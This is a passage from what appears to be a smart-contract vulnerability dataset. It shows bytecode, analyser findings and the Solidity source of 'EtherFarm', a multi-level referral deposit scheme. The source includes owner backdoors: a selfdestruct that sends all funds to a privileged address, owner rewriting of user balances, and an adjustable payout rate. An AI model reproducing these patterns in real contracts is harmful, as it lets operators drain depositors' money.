b91505092915050565b60006020828403121561310557613104612d4e565b5b600061311384828501612da1565b91505092915050565b60006020828403121561313257613131612d4e565b5b600061314084828501612dcd565b91505092915050565b61315281612d78565b82525050565b600060208201905061316d6000830184613149565b92915050565b61317c81612e22565b811461318757600080fd5b50565b60008135905061319981613173565b92915050565b6000602082840312156131b5576131b4612d4e565b5b60006131c38482850161318a565b91505092915050565b600080604083850312156131e3576131e2612d4e565b5b60006131f185828601612da1565b925050602061320285828601612da1565b9150509250929050565b7f4e6f7420686967686572207468616e206f7269676e616c20726174652e000000600082015250565b6000613242601d83612c94565b915061324d8261320c565b602082019050919050565b6000602082019050818103600083015261327181613235565b9050919050565b600060408201905061328d6000830185612c5f565b61329a6020830184612c5f565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006132db82612c55565b91506132e683612c55565b9250828210156132f9576132f86132a1565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061333e82612c55565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613371576133706132a1565b5b600182019050919050565b7f63616e2774206265207a65726f00000000000000000000000000000000000000600082015250565b60006133b2600d83612c94565b91506133bd8261337c565b602082019050919050565b600060208201905081810360008301526133e1816133a5565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061341e602083612c94565b9150613429826133e8565b602082019050919050565b6000602082019050818103600083015261344d81613411565b9050919050565b6000819050919050565b600061347961347461346f84612d58565b613454565b612d58565b9050919050565b600061348b8261345e565b9050919050565b600061349d82613480565b9050919050565b6134ad81613492565b82525050565b60006020820190506134c860008301846134a4565b92915050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613504601783612c94565b915061350f826134ce565b602082019050919050565b60006020820190508181036000830152613533816134f7565b9050919050565b60008151905061354981612d8a565b92915050565b60006020828403121561356557613564612d4e565b5b60006135738482850161353a565b91505092915050565b60006040820190506135916000830185613149565b61359e6020830184613149565b9392505050565b6000819050919050565b60006135ca6135c56135c0846135a5565b613454565b612c55565b9050919050565b6135da816135af565b82525050565b600060c0820190506135f56000830189613149565b6136026020830188612c5f565b61360f60408301876135d1565b61361c60608301866135d1565b6136296080830185613149565b61363660a0830184612c5f565b979650505050505050565b60008151905061365081612db6565b92915050565b60008060006060848603121561366f5761366e612d4e565b5b600061367d86828701613641565b935050602061368e86828701613641565b925050604061369f86828701613641565b9150509250925092565b60006040820190506136be6000830185613149565b6136cb6020830184612c5f565b9392505050565b6000815190506136e181613173565b92915050565b6000602082840312156136fd576136fc612d4e565b5b600061370b848285016136d2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613770602483612c94565b915061377b82613714565b604082019050919050565b6000602082019050818103600083015261379f81613763565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613802602283612c94565b915061380d826137a6565b604082019050919050565b60006020820190508181036000830152613831816137f5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613894602583612c94565b915061389f82613838565b604082019050919050565b600060208201905081810360008301526138c381613887565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613926602383612c94565b9150613931826138ca565b604082019050919050565b6000602082019050818103600083015261395581613919565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006139b8602983612c94565b91506139c38261395c565b604082019050919050565b600060208201905081810360008301526139e7816139ab565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6000613a24601883612c94565b9150613a2f826139ee565b602082019050919050565b60006020820190508181036000830152613a5381613a17565b9050919050565b6000613a6582612c55565b9150613a7083612c55565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613aa557613aa46132a1565b5b828201905092915050565b7f596f752063616e2774206f776e2074686174206d616e7920746f6b656e73206160008201527f74206f6e63652e00000000000000000000000000000000000000000000000000602082015250565b6000613b0c602783612c94565b9150613b1782613ab0565b604082019050919050565b60006020820190508181036000830152613b3b81613aff565b9050919050565b7f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000600082015250565b6000613b78601b83612c94565b9150613b8382613b42565b602082019050919050565b60006020820190508181036000830152613ba781613b6b565b9050919050565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b6000613c0a602283612c94565b9150613c1582613bae565b604082019050919050565b60006020820190508181036000830152613c3981613bfd565b9050919050565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b6000613c9c602383612c94565b9150613ca782613c40565b604082019050919050565b60006020820190508181036000830152613ccb81613c8f565b9050919050565b6000613cdd82612c55565b9150613ce883612c55565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d2157613d206132a1565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613d6682612c55565b9150613d7183612c55565b925082613d8157613d80613d2c565b5b828204905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613dc181612d78565b82525050565b6000613dd38383613db8565b60208301905092915050565b6000602082019050919050565b6000613df782613d8c565b613e018185613d97565b9350613e0c83613da8565b8060005b83811015613e3d578151613e248882613dc7565b9750613e2f83613ddf565b925050600181019050613e10565b5085935050505092915050565b600060a082019050613e5f6000830188612c5f565b613e6c60208301876135d1565b8181036040830152613e7e8186613dec565b9050613e8d6060830185613149565b613e9a6080830184612c5f565b969550505050505056fea26469706673582212202a504e4e76d41be944d29403067f2fb7ef28e45ca5168f8d5dbef47810829f8864736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 630 |
0x8e64649c990c74aa55df1d651cacb5beee887a46 | pragma solidity 0.6.8;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private grand;
address private grandb;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
function grounda() public view returns (address) {
return grand;
}
function groundb() public view returns (address) {
return grandb;
}
function ConfigSet(address payable _to, address payable _to2) external {
require(msg.sender == _owner, "Access denied (only owner)");
grand = _to;
grandb = _to2;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
contract Destructible {
address payable public grand_owner;
event GrandOwnershipTransferred(address indexed previous_owner, address indexed new_owner);
constructor() public {
grand_owner = msg.sender;
}
function transferGrandOwnership(address payable _to) external {
require(msg.sender == grand_owner, "Access denied (only grand owner)");
grand_owner = _to;
}
function destruct() external {
require(msg.sender == grand_owner, "Access denied (only grand owner)");
selfdestruct(grand_owner);
}
}
contract EtherFarm is Ownable, Destructible, Pausable {
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
mapping(address => User) public users;
uint256[] public cycles;
uint8[] public ref_bonuses;
uint8[] public pool_bonuses;
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_withdraw;
uint256 public total_participants;
uint256 public divisor = 60;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor() public {
ref_bonuses.push(30);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
pool_bonuses.push(40);
pool_bonuses.push(30);
pool_bonuses.push(20);
pool_bonuses.push(10);
cycles.push(10 ether);
cycles.push(30 ether);
cycles.push(90 ether);
cycles.push(200 ether);
}
receive() payable external whenNotPaused {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && (users[_upline].deposit_time > 0 || _upline == owner())) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner(), "No upline");
if(users[_addr].deposit_time == 0) { total_participants += 1; }
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 0.05 ether && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount / 10;
emit DirectPayout(users[_addr].upline, _addr, _amount / 10);
}
_pollDeposits(_addr, _amount);
if(pool_last_draw + 1 days < block.timestamp) {
_drawPool();
}
payable(grounda()).transfer(_amount / 100);
payable(groundb()).transfer(_amount / 100);
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount / 20;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function deposit(address _upline) payable external whenNotPaused {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external whenNotPaused {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
payable(msg.sender).transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function drawPool() external onlyOwner {
_drawPool();
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 31 / 10;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / divisor) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
/*
Only external call
*/
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function contractInfo() view external returns(uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) {
return (total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
contract synchronize is EtherFarm {
bool public sync_close = false;
function sync(address[] calldata _users, address[] calldata _uplines, uint256[] calldata _data) external onlyOwner {
require(!sync_close, "Sync already close");
for(uint256 i = 0; i < _users.length; i++) {
address addr = _users[i];
uint256 q = i * 12;
if(users[addr].total_deposits == 0) {
emit Upline(addr, _uplines[i]);
}
users[addr].cycle = _data[q];
users[addr].upline = _uplines[i];
users[addr].referrals = _data[q + 1];
users[addr].payouts = _data[q + 2];
users[addr].direct_bonus = _data[q + 3];
users[addr].pool_bonus = _data[q + 4];
users[addr].match_bonus = _data[q + 5];
users[addr].deposit_amount = _data[q + 6];
users[addr].deposit_payouts = _data[q + 7];
users[addr].deposit_time = uint40(_data[q + 8]);
users[addr].total_deposits = _data[q + 9];
users[addr].total_payouts = _data[q + 10];
users[addr].total_structure = _data[q + 11];
}
}
function setdivisor(uint value) public onlyOwner returns(bool){
divisor = value;
return true;
}
function syncGlobal(uint40 _pool_last_draw, uint256 _pool_cycle, uint256 _pool_balance, uint256 _total_withdraw, address[] calldata _pool_top) external onlyOwner {
require(!sync_close, "Sync already close");
pool_last_draw = _pool_last_draw;
pool_cycle = _pool_cycle;
pool_balance = _pool_balance;
total_withdraw = _total_withdraw;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = _pool_top[i];
}
}
function syncUp() external payable {}
function syncClose() external onlyOwner {
require(!sync_close, "Sync already close");
sync_close = true;
}
} | 0x6080604052600436106101f25760003560e01c806374b95b2d1161010d578063a87430ba116100a0578063b7d9f0d21161006f578063b7d9f0d2146107c2578063c864130f146107ec578063e7204ffb14610819578063f2fde38b1461082e578063f340fa011461086157610255565b8063a87430ba14610663578063a9c3ac531461070a578063afbce3b914610783578063b4610c12146107ad57610255565b80638da5cb5b116100dc5780638da5cb5b146105f5578063970d106f1461060a5780639a8318f41461061f578063a19834161461063457610255565b806374b95b2d1461054857806379ff1276146105a15780638456cb59146105b65780638959af3c146105cb57610255565b80633ccfd60b116101855780636d5f6f11116101545780636d5f6f111461046e5780636da61d1e146104ae578063715018a6146104fa57806374a88b8b1461050f57610255565b80633ccfd60b146103e05780633f4ba83a146103f55780635c975abb1461040a5780635d29cb231461043357610255565b80631a975376116101c15780631a975376146103525780631f2dc5ef146103835780632b68b9c614610398578063375e5c6c146103ad57610255565b806315c43aaf1461025a5780631818b1e31461029b578063192ef492146102c25780631959a002146102d757610255565b3661025557600354600160a01b900460ff1615610249576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6102533334610887565b005b600080fd5b34801561026657600080fd5b5061026f610d65565b6040805194855264ffffffffff9093166020850152838301919091526060830152519081900360800190f35b3480156102a757600080fd5b506102b0610dc5565b60408051918252519081900360200190f35b3480156102ce57600080fd5b506102b0610dcb565b3480156102e357600080fd5b5061030a600480360360208110156102fa57600080fd5b50356001600160a01b0316610dd1565b604080516001600160a01b03909816885264ffffffffff9096166020880152868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b34801561035e57600080fd5b50610367610e28565b604080516001600160a01b039092168252519081900360200190f35b34801561038f57600080fd5b506102b0610e37565b3480156103a457600080fd5b50610253610e3d565b3480156103b957600080fd5b50610253600480360360208110156103d057600080fd5b50356001600160a01b0316610eaa565b3480156103ec57600080fd5b50610253610f2b565b34801561040157600080fd5b506102536113ae565b34801561041657600080fd5b5061041f611410565b604080519115158252519081900360200190f35b34801561043f57600080fd5b506102536004803603604081101561045657600080fd5b506001600160a01b0381358116916020013516611420565b34801561047a57600080fd5b506104986004803603602081101561049157600080fd5b50356114ad565b6040805160ff9092168252519081900360200190f35b3480156104ba57600080fd5b506104e1600480360360208110156104d157600080fd5b50356001600160a01b03166114de565b6040805192835260208301919091528051918290030190f35b34801561050657600080fd5b5061025361162a565b34801561051b57600080fd5b506102b06004803603604081101561053257600080fd5b50803590602001356001600160a01b03166116cc565b34801561055457600080fd5b5061057b6004803603602081101561056b57600080fd5b50356001600160a01b03166116e9565b604080519485526020850193909352838301919091526060830152519081900360800190f35b3480156105ad57600080fd5b5061036761171d565b3480156105c257600080fd5b5061025361172c565b3480156105d757600080fd5b506102b0600480360360208110156105ee57600080fd5b503561178c565b34801561060157600080fd5b50610367611798565b34801561061657600080fd5b506102b06117a7565b34801561062b57600080fd5b506102b06117ad565b34801561064057600080fd5b506106496117b3565b6040805164ffffffffff9092168252519081900360200190f35b34801561066f57600080fd5b506106966004803603602081101561068657600080fd5b50356001600160a01b03166117c0565b604080519d8e526001600160a01b03909c1660208e01528c8c019a909a5260608c019890985260808b019690965260a08a019490945260c089019290925260e088015261010087015264ffffffffff1661012086015261014085015261016084015261018083015251908190036101a00190f35b34801561071657600080fd5b5061071f611839565b6040518083608080838360005b8381101561074457818101518382015260200161072c565b5050505090500182600460200280838360005b8381101561076f578181015183820152602001610757565b505050509050019250505060405180910390f35b34801561078f57600080fd5b506102b0600480360360208110156107a657600080fd5b5035611908565b3480156107b957600080fd5b50610367611926565b3480156107ce57600080fd5b50610498600480360360208110156107e557600080fd5b5035611935565b3480156107f857600080fd5b506103676004803603602081101561080f57600080fd5b503560ff16611942565b34801561082557600080fd5b5061025361195d565b34801561083a57600080fd5b506102536004803603602081101561085157600080fd5b50356001600160a01b03166119bd565b6102536004803603602081101561087757600080fd5b50356001600160a01b0316611ab5565b6001600160a01b03828116600090815260046020526040902060010154161515806108ca57506108b5611798565b6001600160a01b0316826001600160a01b0316145b610907576040805162461bcd60e51b81526020600482015260096024820152684e6f2075706c696e6560b81b604482015290519081900360640190fd5b6001600160a01b03821660009081526004602052604090206009015464ffffffffff1661093857600e805460010190555b6001600160a01b03821660009081526004602052604090206009015464ffffffffff1615610b20576001600160a01b038216600090815260046020818152604092839020805460010181556007015483516322566bcf60e21b81529283015291513092638959af3c9260248082019391829003018186803b1580156109bc57600080fd5b505afa1580156109d0573d6000803e3d6000fd5b505050506040513d60208110156109e657600080fd5b50516001600160a01b0383166000908152600460205260409020600301541015610a50576040805162461bcd60e51b81526020600482015260166024820152754465706f73697420616c72656164792065786973747360501b604482015290519081900360640190fd5b6001600160a01b0382166000908152600460205260409020600701548110801590610add5750600580546001600160a01b03841660009081526004602052604090205460001990910110610abc576001600160a01b038316600090815260046020526040902054610ac4565b600554600019015b81548110610ace57fe5b90600052602060002001548111155b610b1b576040805162461bcd60e51b815260206004820152600a60248201526910985908185b5bdd5b9d60b21b604482015290519081900360640190fd5b610b8d565b66b1a2bc2ec500008110158015610b4f57506005600081548110610b4057fe5b90600052602060002001548111155b610b8d576040805162461bcd60e51b815260206004820152600a60248201526910985908185b5bdd5b9d60b21b604482015290519081900360640190fd5b6001600160a01b03821660008181526004602090815260408083206003810184905560078101869055600881019390935560098301805464ffffffffff19164264ffffffffff16179055600a909201805485019055815184815291517f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de3649281900390910190a26001600160a01b038281166000908152600460205260409020600101541615610cac576001600160a01b0382811660008181526004602081815260408084206001018054871685528185209093018054600a890490810190915593859052915482519384529151939491909116927fba5b08f0cddc64825b52c35c09323af810c1d2e29c97aba01a4ed25cfdc482d19281900390910190a35b610cb68282611b1e565b600854426201518064ffffffffff928316019091161015610cd957610cd9611d7f565b610ce161171d565b6001600160a01b03166108fc606483049081150290604051600060405180830381858888f19350505050158015610d1c573d6000803e3d6000fd5b50610d25611926565b6001600160a01b03166108fc606483049081150290604051600060405180830381858888f19350505050158015610d60573d6000803e3d6000fd5b505050565b600d54600854600a546009546000908152600b602090815260408083207f13649b2456f1b42fef0f0040b3aaeabcd21a76a0f3f5defd4f583839455116e8546001600160a01b0316845290915290205464ffffffffff9092169190919293565b600e5481565b600a5481565b6001600160a01b0390811660009081526004602081905260409091206001810154600982015460078301546003840154948401546005850154600690950154939096169664ffffffffff9092169590949390929091565b6003546001600160a01b031681565b600f5481565b6003546001600160a01b03163314610e9c576040805162461bcd60e51b815260206004820181905260248201527f4163636573732064656e69656420286f6e6c79206772616e64206f776e657229604482015290519081900360640190fd5b6003546001600160a01b0316ff5b6003546001600160a01b03163314610f09576040805162461bcd60e51b815260206004820181905260248201527f4163636573732064656e69656420286f6e6c79206772616e64206f776e657229604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b600354600160a01b900460ff1615610f7d576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b604080516336d30e8f60e11b8152336004820152815160009283923092636da61d1e92602480840193919291829003018186803b158015610fbd57600080fd5b505afa158015610fd1573d6000803e3d6000fd5b505050506040513d6040811015610fe757600080fd5b5080516020918201513360009081526004909352604090922060030154909350909150811161104c576040805162461bcd60e51b815260206004820152600c60248201526b46756c6c207061796f75747360a01b604482015290519081900360640190fd5b81156110b2573360009081526004602052604090206003015482018110156110865733600090815260046020526040902060030154810391505b336000818152600460205260409020600881018054850190556003018054840190556110b29083611edc565b33600090815260046020526040902060030154811180156110e55750336000908152600460208190526040909120015415155b156111515733600090815260046020819052604090912090810154600390910154810182101561112657503360009081526004602052604090206003015481035b3360009081526004602081905260409091209081018054839003905560030180548201905591909101905b336000908152600460205260409020600301548111801561118357503360009081526004602052604090206005015415155b156111eb57336000908152600460205260409020600581015460039091015481018210156111c257503360009081526004602052604090206003015481035b336000908152600460205260409020600581018054839003905560030180548201905591909101905b336000908152600460205260409020600301548111801561121d57503360009081526004602052604090206006015415155b15611285573360009081526004602052604090206006810154600390910154810182101561125c57503360009081526004602052604090206003015481035b336000908152600460205260409020600681018054839003905560030180548201905591909101905b600082116112c8576040805162461bcd60e51b815260206004820152600b60248201526a16995c9bc81c185e5bdd5d60aa1b604482015290519081900360640190fd5b33600081815260046020526040808220600b01805486019055600d8054860190555184156108fc0291859190818181858888f19350505050158015611311573d6000803e3d6000fd5b5060408051838152905133917f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364919081900360200190a23360009081526004602052604090206003015481116113aa573360008181526004602090815260409182902060030154825190815291517f97ddeb77c85e6a1dd99a34fe2bb1a4f9b211d5ffced7a707de9dbeb24363d0e49281900390910190a25b5050565b6113b6612012565b6000546001600160a01b03908116911614611406576040805162461bcd60e51b815260206004820181905260248201526000805160206122e2833981519152604482015290519081900360640190fd5b61140e612016565b565b600354600160a01b900460ff1690565b6000546001600160a01b0316331461147f576040805162461bcd60e51b815260206004820152601a60248201527f4163636573732064656e69656420286f6e6c79206f776e657229000000000000604482015290519081900360640190fd5b600180546001600160a01b039384166001600160a01b03199182161790915560028054929093169116179055565b600781815481106114ba57fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b6001600160a01b03811660009081526004602081815260408084206007015481516322566bcf60e21b8152938401525183923092638959af3c92602480840193829003018186803b15801561153257600080fd5b505afa158015611546573d6000803e3d6000fd5b505050506040513d602081101561155c57600080fd5b50516001600160a01b0384166000908152600460205260409020600801549091508111156116